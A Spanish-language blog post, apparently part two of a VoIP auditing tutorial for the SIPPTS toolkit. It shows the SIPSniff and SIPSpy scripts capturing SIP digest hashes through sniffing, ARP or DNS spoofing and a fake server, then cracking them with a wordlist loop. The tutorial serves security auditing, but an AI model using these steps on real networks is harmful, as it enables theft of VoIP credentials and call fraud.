Auditando sistemas de VoIP con SIPPTS (2/2)

Siguiendo con la entrada anterior Auditando sistemas de VoIP con SIPPTS (1/2) voy a explicar el resto de scripts que incorpora la herramienta SIPPTS. Ya explique cómo usar el script SIPDigestLeak en este post Atacando dispositivos VoIP para intentar obtener un hash de autenticación de un dispositivo, y posteriormente realizar fuerza bruta con la ayuda de un diccionario.

Por otro lado, tenemos SIPSniff, que es un pequeño sniffer que monitoriza el puerto 5060/udp y que muesta los mensajes que captura.

$ perl sipsniff.pl 

SipSNIFF v1.2 - by Pepelux <pepeluxx@gmail.com>
-------------

Usage: sudo perl -i <interface> sipsniff.pl [options]
 
== Options ==
-i  <string>     = Interface (ex: eth0)
-p  <integer>    = Port (default: 5060)
-m  <string>     = Filter method (ex: INVITE, REGISTER)
-u               = Filter authentication digest

Hay que ejecutarlo como root y tiene 2 modos de funcionamiento. Podemos simplemente pedirle que nos muestre los mensajes que detecte:

$ sudo perl sipsniff.pl -i eth0
[+] 192.168.0.18:5070 => 192.168.0.55:5060
INVITE sip:100@192.168.0.55 SIP/2.0
Via: SIP/2.0/UDP 192.168.0.55:5070;branch=vswvnucpgrx8hldhn7by2u60h1bspxj9yqkmlu1u729ypfvty2f2lmas4ukphg6clsm139f
From: "100" <sip:100@192.168.0.55>;tag=0c26cd11
To: <sip:100@192.168.0.55>
Contact: <sip:100@192.168.0.55:5070;transport=udp>
Call-ID: 8bb857dabec36b80a43eb1ae4ce1927b
CSeq: 1 INVITE
User-Agent: sipptk
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Type: application/sdp
Content-Length: 183

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.0.55
s=session
c=IN IP4 192.168.0.55
t=0 0
m=audio 2362 RTP/AVP 0
a=rtpmap:18 G729/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:8 PCMA/8000


[+] 192.168.0.55:5060 => 192.168.0.18:5070
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.0.55:5070;branch=vswvnucpgrx8hldhn7by2u60h1bspxj9yqkmlu1u729ypfvty2f2lmas4ukphg6clsm139f;received=84.127.4.109;rport=5070
From: "100" <sip:100@192.168.0.55>;tag=0c26cd11
To: <sip:100@192.168.0.55>;tag=as1ac87c24
Call-ID: 8bb857dabec36b80a43eb1ae4ce1927b
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.13.1~dfsg1-3+deb7u3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="5e54bf74"
Content-Length: 0

O también podemos usar el parámetro -u para que nos muestre sólo las autenticaciones que localice en el tráfico SIP monitorizado:

$ sudo perl sipsniff.pl -i eth0 -u
Digest username="100", realm="asterisk", nonce="1d6ff7c4", uri="sip:192.168.0.55", response="e41413259e3cfe923559104d6b3a1a66", algorithm=MD5
Digest username="101", realm="asterisk", nonce="009ae95a", uri="sip:192.168.0.55", response="737c1434dbb718d6573b739ea1d2fcb2", algorithm=MD5
Digest username="1000",realm="asterisk",nonce="155bbc9a",uri="sip:9011972595821839@192.168.0.55",response="aa8ed081d55fd7f7ba823f4737333f2c",algorithm=MD5

Esta información extraida podría ser usada con la ayuda de un diccionario para crackear por fuerza bruta la contraseña del usuario. De forma similar a como explique en el post Atacando dispositivos VoIP.

Si las comunicaciones no van cifradas, usando esta herramienta en una red local, junto con un ataque de ARP spoofing, obtendremos los hashes de todos los dispositivos de la red, dado que cada X tiempo necesitan enviar los paquetes de registro, y donde interviene un proceso de autenticación.

Por último, tenemos SIPSpy, que es un sencillo script que emula ser un servidor SIP. Lo que hace esta herramienta es negociar una autenticación, y la finalidad es usarla para obtener los hashes de dispositivos al tratar de registrarse o de realizar una llamada.

$ perl sipspy.pl -h

SipSPY  - by Pepelux <pepeluxx@gmail.com>
------

Usage: perl sipspy.pl [options]
 
== Options ==
-h               = This help
-p  <integer>    = Local port (default: 5060)
-v               = Verbose (trace information)

Es decir, supongamos que estamos auditando un teléfono al que no podemos acceder porque no disponemos de las credenciales de su panel web o consola. Y nuestra finalidad es intentar obtener las credenciales de la cuenta SIP. Para ellos disponemos de varios métodos:

  • Tratando de usar el script SIPDigestLeak.
  • Monitorizando el tráfico de la red y esperando que el teléfono mande un REGISTER contra el servidor.
  • Con SIPSpy, simulando ser un fake server y provocando que el dispositivo se registre contra nosotros.

Hay veces que esta es la única opción si no tenemos acceso a monitorizar toda la red, o si se trata de una cuenta cancelada y el servidor no va a responder con un digest. Lo que queremos es extraer la contraeña de un dispositivo al que no tenemos acceso y, simplemente, con un pequeño switch nos montamos una mini red a la que conectaremos nuestro equipo y el teléfono.

Nos hacemos pasar por el servidor, bien configurandonos su IP o bien con un DNS spoofing, y esperamos a que registre o realice una llamada. Tras obtener el mensaje, el script generará un digest y le mandará un error 401 Unauthorized para que lo resuelva y nos envíe de nuevo un mensaje con el response.

Teniendo este hash, es el mismo procedimiento que antes, un diccionario y fuerza bruta para intentar averiguar la contraseña. Por ejemplo:

$ perl sipspy.pl

[=>] 192.168.1.127:5062 REGISTER
     [ Sending digest => WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="405a7bc0" ]
[=>] 192.168.1.127:5062 REGISTER
 ]   [ Digest response => Authorization: Digest username="user202", realm="asterisk", nonce="405a7bc0", uri="sip:192.168.1.129", response="d0b3959b50a3848a9a959c4080221c4c", algorithm=MD5

Podemos usar herramientas como SIPCrack o crearnos un pequeño programa que haga algo así:

foreach ($WORD in $WORDLIST) {
if (md5(md5(user202:asterisk:$WORD):405a7bc0:aac4b22aee5d5ccab3ad0afadf1139a6) == d0b3959b50a3848a9a959c4080221c4c) {
      echo "Password found! --> $WORD";
      exit;
   }
}

Y aprovecho para agradecer a @as_informatico el diseño que se ha currado para el logo de SIPPTS:

Deja un comentario